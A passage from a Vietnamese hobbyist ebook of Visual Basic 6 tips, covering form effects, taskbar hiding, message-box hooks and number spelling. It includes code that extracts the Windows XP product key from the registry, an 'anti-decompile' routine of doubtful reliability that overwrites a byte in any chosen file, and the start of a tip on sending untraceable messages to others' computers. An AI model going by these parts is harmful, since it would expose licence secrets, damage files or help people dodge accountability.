<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity processorArchitecture="x86" version="1.0.0.0" type="win32" name="your application name"/> <description>...Enter your description here ....</description> <dependency> <dependentAssembly> <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" publicKeyToken="6595b64144ccf1df" language="*" processorArchitecture="x86"/> </dependentAssembly> </dependency> </assembly>

Save lại và khi muốn cho chương trình có giao diện XP thì copy file chứa code trên vô thư mục cùng chung với file.exe, đặt lại tên cho nó : tên_chương_trình_của_bạn.exe.manifest Ví dụ : bạn có 1 file chương trình : timcap.exe Đổi tên file chứa đoạn code trên thành : timcap.exe.manifest Bây giờ thử mở chương trình timcap.exe lên xem, nó đã có giao diện XP ...Đôc chiêu 30 : Làm cho ứng dụng từ từ rõ dần khi Load và mờ dần khi Unload home Binh khí : 2 cái đồng hồXuất xứ : www.caulacbovb.com Đoạn mã :Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As LongPrivate Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As LongPrivate Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As LongPrivate Const GWL_EXSTYLE = (-20)Private Const LWA_ALPHA = &H2Private Const WS_EX_LAYERED = &H80000

Dim m_lAlpha

Private Sub Form_Load() Dim lStyle As Long lStyle = GetWindowLong(Me.hWnd, GWL_EXSTYLE) lStyle = lStyle Or WS_EX_LAYERED

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 43

Page 44: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0 SetWindowLong Me.hWnd, GWL_EXSTYLE, lStyle SetLayeredWindowAttributes Me.hWnd, 0, 0, LWA_ALPHA Timer1.Interval = 100 Timer2.Interval = 100 Timer2.Enabled = False Timer1.Enabled = TrueEnd Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) If UnloadMode <> vbFormCode Then Cancel = True Timer2.Enabled = True End IfEnd Sub

Private Sub Timer1_Timer() m_lAlpha = m_lAlpha + 15 If (m_lAlpha > 255) Then m_lAlpha = 255 Timer1.Enabled = False Else SetLayeredWindowAttributes Me.hWnd, 0, m_lAlpha, LWA_ALPHA End IfEnd Sub

Private Sub Timer2_Timer() m_lAlpha = m_lAlpha - 15 If (m_lAlpha < 0) Then m_lAlpha = 0 Unload Me Else SetLayeredWindowAttributes Me.hWnd, 0, m_lAlpha, LWA_ALPHA End IfEnd SubĐôc chiêu 31 : Không cho dịch ngược phần mềm của bạn home Binh khí : 1 nút ấn cới tên Command1, 1 DirListBox với tên Dir1, 1 DriveListBox với tên Drive1 ,1 FileListBox với tên File1Xuất xứ : www.pscode.com Đoạn mã :Private Sub Command1_Click() A = "." Open Text1.Text For Binary As #1 Seek #1, 25 Put #1, , A Close #1 MsgBox "The File, ''" & Text1 & "'', Was Protected from being decompiled!", vbOKOnly, "Decompile Protection Attempt Successful!"End Sub

Private Sub Dir1_Change() File1 = Dir1 Text1 = Drive1 & "/" & Dir1End Sub

Private Sub Drive1_Change() Drive1 = Dir1End Sub

Private Sub File1_Click() Text1 = Dir1 & "\" & File1

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 44

Page 45: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0End Sub

Private Sub File1_DblClick() Command1_ClickEnd Sub

Private Sub Form_Load() MsgBox "Lien he voi tac gia voi email [email protected]", 40, "Thanh cong!" Text1.Text = "" Command1.Caption = "File da duoc khoa!"End SubĐôc chiêu 32 : Lấy kiểu (Type) của đĩa home Binh khí : 1 nút ấn cới tên Command1, 1 DirListBox với tên Dir1, 1 DriveListBox với tên Drive1 ,1 FileListBox với tên File1Xuất xứ : www.pscode.com Đoạn mã Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As LongPublic Function Drive_Type(DriveLetter As Variant) As Long Dim strDL As String strDL = Left$(DriveLetter, 1) + ":\" Drive_Type = GetDriveType(strDL)End FunctionĐôc chiêu 33 : Ẩn thanh Taskbar hoặc các thành phần khác home Binh khí : (Nếu bạn muốn test thì tự vẽ thêm các đối tượng vì đoạn code đã tương đối chi tiết)Xuất xứ : www.pscode.com Đoạn mã Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Const SWP_SHOWWINDOW = &H40 Private Const SWP_HIDEWINDOW = &H80 Private Const SWP_FRAMECHANGED = &H20 Private TaskBarhWnd As Long Private StartButtonhWnd As Long Private SysTrayhWnd As Long Private ClockhWnd As Long Private FirstBarhWnd As Long Private SecondBarhWnd As Long Private ThirdBarhWnd As Long Private FourthBarhWnd As Long

Public Function HideTaskBarParts(whattohide As String) As Boolean TaskBarhWnd = FindWindow("Shell_TrayWnd", "") StartButtonhWnd = FindWindowEx(TaskBarhWnd, 0, "Button" & vbNullString, vbNullString) SysTrayhWnd = FindWindowEx(TaskBarhWnd, 0, "traynotifywnd" & vbNullString, vbNullString) ClockhWnd = FindWindowEx(SysTrayhWnd, 0, "TrayClockWClass" & vbNullString, vbNullString) FirstBarhWnd = FindWindowEx(TaskBarhWnd, 0, "ReBarWindow32" & vbNullString, vbNullString)

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 45

Page 46: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0 SecondBarhWnd = FindWindowEx(FirstBarhWnd, 0, "ToolBarWindow32" & vbNullString, vbNullString) ThirdBarhWnd = FindWindowEx(FirstBarhWnd, 0, "MSTaskSwWClass" & vbNullString, vbNullString) FourthBarhWnd = FindWindowEx(ThirdBarhWnd, 0, "SysTabControl32" & vbNullString, vbNullString)

If TaskBarhWnd = 0 Or StartButtonhWnd = 0 Or SysTrayhWnd = 0 Or ClockhWnd = 0 Or FirstBarhWnd = 0 Or SecondBarhWnd = 0 Or ThirdBarhWnd = 0 Or FourthBarhWnd = 0 Then MsgBox "Error recieving window handles !!!", vbCritical, "No hWnd detected" Exit Function End If

If whattohide = "Taskbar" Then X = SetWindowPos(TaskBarhWnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) ElseIf whattohide = "Systray" Then X = SetWindowPos(SysTrayhWnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) ElseIf whattohide = "Clock" Then X = SetWindowPos(ClockhWnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) ElseIf whattohide = "Quickstart" Then X = SetWindowPos(SecondBarhWnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) ElseIf whattohide = "Tasklist" Then X = SetWindowPos(ThirdBarhWnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) ElseIf whattohide = "Startbutton" Then X = SetWindowPos(StartButtonhWnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) Else X = 0 End If

HideTaskBarParts = XEnd Function

Public Function ShowTaskBarParts(whattoshow As String) As Boolean

If whattoshow = "Taskbar" Then X = SetWindowPos(TaskBarhWnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW) ElseIf whattoshow = "Systray" Then X = SetWindowPos(SysTrayhWnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW) ElseIf whattoshow = "Clock" Then X = SetWindowPos(ClockhWnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW) ElseIf whattoshow = "Quickstart" Then X = SetWindowPos(SecondBarhWnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW) ElseIf whattoshow = "Tasklist" Then X = SetWindowPos(ThirdBarhWnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW) ElseIf whattoshow = "Startbutton" Then X = SetWindowPos(StartButtonhWnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW) Else X = 0 End If Call SetWindowPos(TaskBarhWnd, 0, 0, 0, 0, 0, SWP_FRAMECHANGED) ShowTaskBarParts = XEnd FunctionĐôc chiêu 34 : Nhìn Windowns XP CD Key home Binh khí : Tất nhiên chiêu này chỉ áp dụng cho Windowns XP thui rùi.Xuất xứ : www.pscode.com Đoạn mã Option Explicit

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 46

Page 47: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As LongPrivate Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long Private Const REG_BINARY = 3 Private Const HKEY_LOCAL_MACHINE = &H80000002 Private Const ERROR_SUCCESS = 0&Public Function sGetXPCDKey() As String

'HKLM\SOFTWARE\MICROSOFT\Windows NT\Curr ' entVersion\DigitalProductId Dim bDigitalProductID() As Byte Dim bProductKey() As Byte Dim ilByte As Long Dim lDataLen As Long Dim hKey As Long

If RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\MICROSOFT\Windows NT\CurrentVersion", hKey) = ERROR_SUCCESS Then lDataLen = 164 ReDim Preserve bDigitalProductID(lDataLen)

If RegQueryValueEx(hKey, "DigitalProductId", 0&, REG_BINARY, bDigitalProductID(0), lDataLen) = ERROR_SUCCESS Then

ReDim Preserve bProductKey(14)

For ilByte = 52 To 66 bProductKey(ilByte - 52) = bDigitalProductID(ilByte) Next ilByte

Else

sGetXPCDKey = "" Exit Function End If

Else ' CROSOFT\Windows NT\CurrentVersion" sGetXPCDKey = "" Exit Function End If

Dim bKeyChars(0 To 24) As Byte 'Giai ma CD key : bKeyChars(0) = Asc("B") bKeyChars(1) = Asc("C") bKeyChars(2) = Asc("D") bKeyChars(3) = Asc("F") bKeyChars(4) = Asc("G") bKeyChars(5) = Asc("H") bKeyChars(6) = Asc("J") bKeyChars(7) = Asc("K") bKeyChars(8) = Asc("M") bKeyChars(9) = Asc("P") bKeyChars(10) = Asc("Q") bKeyChars(11) = Asc("R")

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 47

Page 48: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0 bKeyChars(12) = Asc("T") bKeyChars(13) = Asc("V") bKeyChars(14) = Asc("W") bKeyChars(15) = Asc("X") bKeyChars(16) = Asc("Y") bKeyChars(17) = Asc("2") bKeyChars(18) = Asc("3") bKeyChars(19) = Asc("4") bKeyChars(20) = Asc("6") bKeyChars(21) = Asc("7") bKeyChars(22) = Asc("8") bKeyChars(23) = Asc("9") Dim nCur As Integer Dim sCDKey As String Dim ilKeyByte As Long Dim ilBit As Long

For ilByte = 24 To 0 Step -1

nCur = 0

For ilKeyByte = 14 To 0 Step -1

nCur = nCur * 256 Xor bProductKey(ilKeyByte) bProductKey(ilKeyByte) = Int(nCur / 24) nCur = nCur Mod 24 Next ilKeyByte

sCDKey = Chr(bKeyChars(nCur)) & sCDKey If ilByte Mod 5 = 0 And ilByte <> 0 Then sCDKey = "-" & sCDKey Next ilByte

sGetXPCDKey = sCDKeyEnd FunctionĐôc chiêu 35 : Tùy chọn hộp thoại thông báo của chương trình home Binh khí : Cần 2 nút ấn với tên CmdTest và cmdTest1, một Module Xuất xứ : www.pscode.com Đoạn mã Trong ModuleOption ExplicitPrivate Declare Function GetCurrentThreadId Lib "kernel32" () As LongPrivate Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As LongPrivate Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As LongPrivate Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hwndParent As Long, ByVal hwndChildAfter As Long, ByVal lpszClass As String, ByVal lpszWindow As String) As LongPrivate Declare Function SetWindowText Lib "user32.dll" Alias "SetWindowTextA" (ByVal HWND As Long, ByVal lpString As String) As LongPrivate Declare Function GetClassName Lib "user32.dll" Alias "GetClassNameA" (ByVal HWND As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As LongPrivate Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal HWND As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Private Const HCBT_ACTIVATE = 5 Private Const WH_CBT = 5 Private hHook As Long, ButtonText(3) As String, PasswordChar As Byte

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 48

Page 49: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0Private Function ChangeButtonsText(ByVal lMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Dim t As Integer, cName As String, Length As Long, Btn(0 To 3) As Long If lMsg = HCBT_ACTIVATE Then Btn(0) = FindWindowEx(wParam, 0, vbNullString, vbNullString) For t = 1 To 3 Btn(t) = FindWindowEx(wParam, Btn(t - 1), vbNullString, vbNullString) If Btn(t) = 0 Then Exit For Next t For t = 0 To 3 If (Btn(t) <> 0) And (Btn(t) <> wParam) Then cName = Space(255) Length = GetClassName(Btn(t), cName, 255) cName = Left(cName, Length) If UCase(cName) = "BUTTON" Then If ButtonText(t) <> vbNullString Then SetWindowText Btn(t), ButtonText(t) End If End If Next t UnhookWindowsHookEx hHook End If ChangeButtonsText = FalseEnd FunctionPrivate Function SetPasswordChar(ByVal lMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Const EM_SETPASSWORDCHAR As Long = &HCC Dim t As Integer, cName As String, Length As Long, Btn(0 To 3) As Long If lMsg = HCBT_ACTIVATE Then Btn(0) = FindWindowEx(wParam, 0, vbNullString, vbNullString) For t = 1 To 3 Btn(t) = FindWindowEx(wParam, Btn(t - 1), vbNullString, vbNullString) If Btn(t) = 0 Then Exit For Next t For t = 0 To 3 If (Btn(t) <> 0) And (Btn(t) <> wParam) Then cName = Space(255) Length = GetClassName(Btn(t), cName, 255) cName = Left(cName, Length) If LCase$(cName) = "edit" Then SendMessage Btn(t), EM_SETPASSWORDCHAR, ByVal PasswordChar, ByVal 0& End If Next t UnhookWindowsHookEx hHook End If SetPasswordChar = FalseEnd FunctionPublic Function CustomMsgBox(ByVal zMessage As String, Optional ByVal zButtons As VbMsgBoxStyle = vbOKOnly, Optional ByVal zTitle As String = vbNullString, Optional ByVal Button1Text As String = vbNullString, Optional ByVal Button2Text As String = vbNullString, Optional ByVal Button3Text As String = vbNullString) As VbMsgBoxResult Dim Thread As Long ButtonText(0) = Button1Text ButtonText(1) = Button2Text ButtonText(2) = Button3Text Thread = GetCurrentThreadId() hHook = SetWindowsHookEx(WH_CBT, AddressOf ChangeButtonsText, ByVal 0&, Thread) If zTitle = vbNullString Then

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 49

Page 50: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0 CustomMsgBox = MsgBox(zMessage, zButtons) Else CustomMsgBox = MsgBox(zMessage, zButtons, zTitle) End IfEnd FunctionPublic Function PasswordBox(ByVal zMessage As String, Optional ByVal zTitle As String = vbNullString, Optional ByVal zPasswordChar As Byte = 42) As String Dim Thread As Long PasswordChar = zPasswordChar Thread = GetCurrentThreadId() hHook = SetWindowsHookEx(WH_CBT, AddressOf SetPasswordChar, ByVal 0&, Thread) If zTitle = vbNullString Then PasswordBox = InputBox(zMessage) Else PasswordBox = InputBox(zMessage, zTitle) End IfEnd Function

Trong Form :

Private Sub CmdTest_Click()PasswordBox "Moi ban nhap mat khau ???", "Thong bao"End SubPrivate Sub cmdTest1_Click()CustomMsgBox "Thu cho biet -_-", vbDefaultButton2, "Test", "Dong y", "Huy bo"End SubĐôc chiêu 36 : Đưa con trỏ đến một vị trí nhất định home Xuất xứ : www.pscode.com Binh khí sử dụng : Một Module, 2 nút ấn (CommandButton)Đoạn mã :Module :Public Type POINTAPI X As Long Y As Long End TypeDeclare Function ClientToScreen Lib "user32" (ByVal hwnd As Long, lpPoint As POINTAPI) As LongPublic Declare Function SetCursorPos Lib "user32.dll" (ByVal X As Long, ByVal Y As Long) As LongSub MoveMouse(X As Single, Y As Single) Dim pt As POINTAPI pt.X = X pt.Y = Y ClientToScreen Form1.hwnd, pt SetCursorPos pt.X, pt.YEnd SubForm :Private Sub Form_Load() MoveMouse 500, 400End SubĐôc chiêu 37 : Hiệu ứng khi Click vào Form home Xuất xứ : www.pscode.com Binh khí sử dụng : KhôngĐoạn mã :Private Type POINTAPI X As Long Y As Long End TypePrivate Type RECT Left As Long Top As Long

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 50

Page 51: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0 Right As Long Bottom As Long End TypePrivate Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As LongPrivate Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As LongPrivate Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As LongPrivate Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As LongPrivate Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) As LongPrivate Declare Function CreatePen Lib "gdi32" (ByVal nPenStyle As Long, ByVal nWidth As Long, ByVal crColor As Long) As LongPrivate Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As LongPrivate Declare Function GetStockObject Lib "gdi32" (ByVal nIndex As Long) As LongPrivate Declare Function SetROP2 Lib "gdi32" (ByVal hdc As Long, ByVal nDrawMode As Long) As LongPrivate Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As LongPrivate Declare Function Rectangle Lib "gdi32" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As LongPrivate Declare Function SetCapture Lib "user32" (ByVal hwnd As Long) As LongPrivate Declare Function ReleaseCapture Lib "user32" () As LongPrivate Declare Function CreateRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As LongPrivate Declare Function SelectClipRgn Lib "gdi32" (ByVal hdc As Long, ByVal hRgn As Long) As LongPrivate Declare Function GetClipRgn Lib "gdi32" (ByVal hdc As Long, ByVal hRgn As Long) As Long Private Const NULL_BRUSH = 5 Private Selecting As Boolean Private BorderDrawn As Boolean Private Myhwnd As Long

Private Sub Command1_Click()DrawEnd SubPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) Selecting = True

SetCapture Me.hwnd

Form_MouseMove 0, Shift, X, YEnd SubPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) If Selecting = False Then Exit Sub DrawEnd SubPrivate Sub Form_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single) If Selecting = False Then Exit Sub UnDraw ReleaseCapture Selecting = False Myhwnd = 0End SubPrivate Sub Draw()

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 51

Page 52: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0 Dim Cursor As POINTAPI Dim RetVal As Long Dim hdc As Long Dim Pen As Long Dim Brush As Long Dim OldPen As Long Dim OldBrush As Long Dim OldROP As Long Dim Region As Long Dim OldRegion As Long Dim FullWind As RECT Dim Draw As RECT GetCursorPos Cursor RetVal = WindowFromPoint(Cursor.X, Cursor.Y) If RetVal = Myhwnd Then Exit Sub If BorderDrawn = True Then UnDraw BorderDrawn = True Myhwnd = RetVal Me.Cls Me.Print Hex(Myhwnd) GetWindowRect Myhwnd, FullWind Region = CreateRectRgn(0, 0, FullWind.Right - FullWind.Left, FullWind.Bottom - FullWind.Top) hdc = GetWindowDC(Myhwnd) RetVal = GetClipRgn(hdc, OldRegion) RetVal = SelectObject(hdc, Region) Pen = CreatePen(DrawStyleConstants.vbSolid, 6, 0) OldPen = SelectObject(hdc, Pen) Brush = GetStockObject(NULL_BRUSH) OldBrush = SelectObject(hdc, Brush) OldROP = SetROP2(hdc, DrawModeConstants.vbInvert) With Draw .Left = 0 .Top = 0 .Bottom = FullWind.Bottom - FullWind.Top .Right = FullWind.Right - FullWind.Left Rectangle hdc, .Left, .Top, .Right, .Bottom End With SelectObject hdc, OldRegion SetROP2 hdc, OldROP SelectObject hdc, OldBrush SelectObject hdc, OldPen DeleteObject Brush DeleteObject Pen DeleteObject Region ReleaseDC Myhwnd, hdc End SubPrivate Sub UnDraw() If BorderDrawn = False Then Exit Sub BorderDrawn = False If Myhwnd = 0 Then Exit Sub Dim Cursor As POINTAPI Dim RetVal As Long Dim hdc As Long Dim Pen As Long Dim Brush As Long Dim OldPen As Long Dim OldBrush As Long Dim OldROP As Long Dim Region As Long Dim OldRegion As Long Dim FullWind As RECT

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 52

Page 53: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0 Dim Draw As RECT GetWindowRect Myhwnd, FullWind Region = CreateRectRgn(0, 0, FullWind.Right - FullWind.Left, FullWind.Bottom - FullWind.Top) hdc = GetWindowDC(Myhwnd) RetVal = GetClipRgn(hdc, OldRegion) RetVal = SelectObject(hdc, Region) Pen = CreatePen(DrawStyleConstants.vbSolid, 6, 0) ' Draw Solid lines, width 6, and color black OldPen = SelectObject(hdc, Pen) Brush = GetStockObject(NULL_BRUSH) OldBrush = SelectObject(hdc, Brush) OldROP = SetROP2(hdc, DrawModeConstants.vbInvert) ' vbInvert means, whatever is draw, With Draw .Left = 0 .Top = 0 .Bottom = FullWind.Bottom - FullWind.Top .Right = FullWind.Right - FullWind.Left Rectangle hdc, .Left, .Top, .Right, .Bottom ' Really easy to understand - draw a rectangle, hDC, and coordinates End With SelectObject hdc, OldRegion SetROP2 hdc, OldROP SelectObject hdc, OldBrush SelectObject hdc, OldPen DeleteObject Brush DeleteObject Pen DeleteObject Region ReleaseDC Myhwnd, hdcEnd Sub

Đôc chiêu 38 : Hàm dùng để đoc số ra chữ home Chú ý : Phiên bản tiếng Anh nhưng bạn có thể dễ dàng Việt HóaXuất xứ : www.pscode.com Binh khí sử dụng : KhôngĐoạn mã : (Do hàm rất dễ sữ dụng nên sẽ không đưa ra ví dụ cụ thể)Public Function SpellNumber(ByVal MyNumber) If MyNumber = "" Then MyNumber = 0 End If Dim Rupees, Paisas, temp Dim DecimalPlace, Count ReDim Place(9) As String Place(2) = " Thousand " Place(3) = " Lacs " ' Place(4) = " Crores " Place(5) = " Trillion " MyNumber = Trim(Str(MyNumber)) If (MyNumber > 999999999.99) Then SpellNumber = "Digit excced Maximum limit" Exit Function End If DecimalPlace = InStr(MyNumber, ".") If DecimalPlace > 0 Then Paisas = GetTens(Left(Mid(MyNumber, DecimalPlace + 1) & "00", 2)) MyNumber = Trim(Left(MyNumber, DecimalPlace - 1)) End If Count = 1 Dim iTemp As Integer Do While MyNumber <> "" If (Count >= 2) Then

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 53

Page 54: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0 iTemp = Right(MyNumber, 2) Else If (Len(MyNumber) = 2) Then iTemp = Right(MyNumber, 2) ElseIf (Len(MyNumber) = 1) Then iTemp = Right(MyNumber, 1) Else iTemp = Right(MyNumber, 3) End If End If If iTemp >= 99 Then iTemp = Right(MyNumber, 3) temp = GetHundreds(iTemp) ElseIf iTemp < 99 And iTemp > 9 Then iTemp = Right(MyNumber, 2) temp = GetTens(iTemp) ElseIf iTemp < 10 Then iTemp = Right(MyNumber, 2) temp = GetDigit(iTemp) End If If temp <> "" Then Rupees = temp & Place(Count) & Rupees End If If Count = 2 Then If Len(MyNumber) = 1 Then MyNumber = "" Else MyNumber = Left(MyNumber, Len(MyNumber) - 2) End If ElseIf Count = 3 Then If Len(MyNumber) >= 3 Then MyNumber = Left(MyNumber, Len(MyNumber) - 2) Else MyNumber = "" End If ElseIf Count = 4 Then MyNumber = "" Else If Len(MyNumber) <= 2 Then MyNumber = "" Else MyNumber = Left(MyNumber, Len(MyNumber) - 3) End If End If Count = Count + 1 Loop Select Case Rupees Case "" Rupees = "No Rupees" Case "One" Rupees = "One Rupee" Case Else Rupees = " Rupees " & Rupees End SelectSelect Case Paisas Case "" Paisas = "" Case "One" Paisas = " and One Paisa" Case Else Paisas = " and " & Paisas & " Paisas"End Select

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 54

Page 55: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0SpellNumber = Rupees & Paisas & " Only"

iLoop = 0End FunctionFunction GetHundreds(ByVal MyNumber) Dim result As String If Val(MyNumber) = 0 Then Exit Function MyNumber = Right("000" & MyNumber, 3) 'Convert the hundreds place

If Mid(MyNumber, 1, 1) <> "0" Then

If (iLoop > 1) Then result = GetDigit(Mid(MyNumber, 1, 1)) & " Lac " iLoop = 0 ElseIf (iLoop = 1) Then Else result = GetDigit(Mid(MyNumber, 1, 1)) & " Hundred " iLoop = iLoop + 1 End If End If If Mid(MyNumber, 2, 1) <> "0" Then result = result & GetTens(Mid(MyNumber, 2)) Else result = result & GetDigit(Mid(MyNumber, 3)) End If GetHundreds = resultEnd FunctionFunction GetTens(TensText) Dim result As String result = "" 'null out the temporary function value

If Val(Left(TensText, 1)) = 1 Then ' If value between 10-19

Select Case Val(TensText) Case 10: result = "Ten" Case 11: result = "Eleven" Case 12: result = "Twelve" Case 13: result = "Thirteen" Case 14: result = "Fourteen" Case 15: result = "Fifteen" Case 16: result = "Sixteen" Case 17: result = "Seventeen" Case 18: result = "Eighteen" Case 19: result = "Nineteen" Case Else End SelectElse ' If value between 20-99

Select Case Val(Left(TensText, 1)) Case 2: result = "Twenty " Case 3: result = "Thirty " Case 4: result = "Forty " Case 5: result = "Fifty " Case 6: result = "Sixty " Case 7: result = "Seventy " Case 8: result = "Eighty " Case 9: result = "Ninety "

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 55

Page 56: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0 Case Else End Selectresult = result & GetDigit _(Right(TensText, 1)) 'Retrieve ones placeEnd IfGetTens = resultEnd FunctionFunction GetDigit(Digit) Select Case Val(Digit) Case 1: GetDigit = "One" Case 2: GetDigit = "Two" Case 3: GetDigit = "Three" Case 4: GetDigit = "Four" Case 5: GetDigit = "Five" Case 6: GetDigit = "Six" Case 7: GetDigit = "Seven" Case 8: GetDigit = "Eight" Case 9: GetDigit = "Nine" Case Else: GetDigit = "" End SelectEnd FunctionĐôc chiêu 39 : Để chương trình bạn có giao diện “Nữa trong suốt” home Giới thiệu : Trong các Độc chiêu trước tôi đã có giới thiệu 2 chiêu khá hay đó là Form trong suốt và Form theo hình dạng bức ảnh tuy nhiên mỗi chiêu có một vẽ hay, cũng như vậy tại độc chiêu này tuy thực tế ứng dụng hầu như không gặp (Theo tôi nhận thấy) tuy nhiên nó cũng khá thú vị để ta ngâm kíu.Xuất xứ : www.pscode.com (Dungcoi lam nhiêm vụ “Thu gọn đọan Code)Binh khí sử dụng : KhôngĐoạn mã : Option ExplicitPrivate Const ULW_COLORKEY = &H1Private Const GWL_STYLE = (-16)Private Const GWL_EXSTYLE = (-20)Private Const WS_EX_LAYERED = &H80000Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As LongPrivate Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As LongPrivate Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As LongDim Trans As BooleanDim OldStyle As LongPrivate Sub Form_Load() Transparent (True)End SubPrivate Sub Transparent(t As Boolean) Trans = Not Trans If t Then Me.BackColor = &HFFCCCC SetWindowLong Me.hwnd, GWL_EXSTYLE, WS_EX_LAYERED SetLayeredWindowAttributes Me.hwnd, &HFFCCCC, 0, ULW_COLORKEY Else Me.BackColor = &H8000000F SetWindowLong Me.hwnd, GWL_EXSTYLE, OldStyle End IfEnd SubĐôc chiêu 40 : Gửi thông điệp tới một máy tinh bất kỳ home Giới thiệu : Điều kiện bạn cấn biết số IP của máy tính đó và máy đó phải nối mạng với máy của bạn (LAN hay Internet cũng ổn)À cần nói thêm nữa là nếu như dùng các lệnh thông thường như “Shell Net Send” sẽ để lại “Dấu vết” (Địa chỉ IP hoặc tên máy của bạn), như vậy thông nhiều trường hợp có lẽ “Không hay” (Ví dụ như tui muốn “Wậy” các máy tính khác mà không muốn bị “Túm cổ” (o_-))

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 56

Page 57: Chiêu thức lập trình

